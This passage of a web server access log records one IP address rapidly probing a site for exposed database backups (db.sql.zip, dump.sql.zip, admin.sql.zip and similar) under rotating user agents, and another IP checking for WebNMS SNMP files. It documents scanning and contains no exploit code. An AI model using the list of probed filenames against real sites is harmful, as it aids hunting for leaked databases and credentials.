AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:35 +0000] "GET /temp.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:36 +0000] "GET /bak.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:37 +0000] "GET /old.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:39 +0000] "GET /db.sql.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:40 +0000] "GET /sql.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:42 +0000] "GET /dump.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:43 +0000] "GET /database.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:44 +0000] "GET /Release.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:45 +0000] "GET /inetpub.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:46 +0000] "GET /temp.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:48 +0000] "GET /package.sql.zip HTTP/1.1" 301 4189 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:49 +0000] "GET /tmp.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:50 +0000] "GET /db.sql.zip HTTP/1.1" 301 4179 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:51 +0000] "GET /data.sql.zip HTTP/1.1" 301 4183 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:52 +0000] "GET /database.sql.zip HTTP/1.1" 301 4191 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:53 +0000] "GET /ftp.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:54 +0000] "GET /output.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:55 +0000] "GET /admin.sql.zip HTTP/1.1" 301 4185 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:57 +0000] "GET /upload.sql.zip HTTP/1.1" 301 4187 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:58 +0000] "GET /src.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:16:59 +0000] "GET /conf/conf.sql.zip HTTP/1.1" 301 4193 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36" 0 - 182.74.243.49 - - [05/Feb/2024:00:17:00 +0000] "GET /old.sql.zip HTTP/1.1" 301 4181 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36" 0 - 5.2.192.229 - - [05/Feb/2024:00:31:32 +0000] "HEAD /snmp/80636898/WebNMS_SNMPAPI_StandardEdition.zip HTTP/1.0" 404 3891 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" 0 - 5.2.192.229 - - [05/Feb/2024:00:31:33 +0000] "HEAD /snmp/80636898/WebNMS_SNMPAPI.exe HTTP/1.0" 404 3891 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" 0 - 5.2.192.229 - - [05/Feb/2024:00:31:34 +0000] "HEAD /snmp/80636898/WebNMS_SNMPAPI.zip HTTP/1.0" 404 3891 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" 0 - 5.2.192.229 - - [05/Feb/2024:00:31:35 +0000] "HEAD /snmp/80636898/WebNMS_SNMPAPI_WH.zip HTTP/1.0" 404 3891 "-" "Mozilla/5.0 (X11; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12" 0 -